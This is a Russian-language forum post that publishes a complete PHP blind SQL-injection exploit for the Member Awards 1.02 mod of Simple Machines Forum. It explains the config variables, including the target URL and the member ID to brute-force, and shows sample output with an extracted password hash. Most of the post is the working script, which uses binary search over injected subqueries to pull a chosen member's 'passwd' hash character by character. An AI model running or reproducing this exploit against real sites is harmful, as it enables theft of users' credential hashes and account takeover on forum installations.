Сообщение от oRb  
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux

Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.

Example:
Код:

$ php smf.php passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86 Requests: 160 Time: 00:00:32

<?php
/*
 * Member Awards 1.02 Blind SQL-Injection
 * Vulnerability: mailbrush
 * Code: oRb
 * Thnx: Grey, eLWAux
 */
$url = 'http://test.ru/smf/';
$member_id = 1;
$tbl_prefix = 'smf_';
$error = 'history.go(-1)';

/*
 * Let's go!
 */
set_time_limit(0);
$url .= 'index.php?action=profile;sa=awardsMembers;u='.$member_id.';id=0+or+1';
function getcontent($url) {
	$GLOBALS['requests']++;
	return @file_get_contents($url);
}
function getmicrotime()  {
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
function binary($pattern, $c, $column) {
	$n = count($pattern);
	$k = (int)$n/2;
	$values = array();
	for($j=0;$j<$k;++$j)
		$values[] = $pattern[$j];
	$result = getcontent($GLOBALS['url'].'+and+(%23)%0Aselect+ascii(substr('.$column.','.($c+1).',1))+from+'.$GLOBALS['tbl_prefix'].'members+where+ID_MEMBER='.$GLOBALS['member_id'].')+in+('.implode(',', $values).')');
	if( $n == 2 ) {
		if (strpos($result, $GLOBALS['error']) === false)
			return $pattern[0];
		else
			return $pattern[1];
	} elseif(strpos($result, $GLOBALS['error']) === false) {
		return binary($values, $c, $column);
	} else {
		$values = array();
		for($j=$k;$j<$n;++$j)
			$values[] = $pattern[$j];
		return binary($values, $c, $column);
	}
}
function printField($column, $n) {
	echo $column.': ';
	$GLOBALS['requests'] = 0;
	$time_start = getmicrotime();
	$pattern = array_map('ord', str_split('0123456789abcdef'));
	for($i=0; $i<$n; ++$i)
		echo chr(binary($pattern, $i, $column));
	echo "\nRequests: ".$GLOBALS['requests']."\nTime: ".gmdate("H:i:s", getmicrotime()-$time_start)."\n";
}
printField('passwd', 40);
?>

passwd: 0000000000000000000000000000000000000000 Requests: 160 
Time: 00:00:32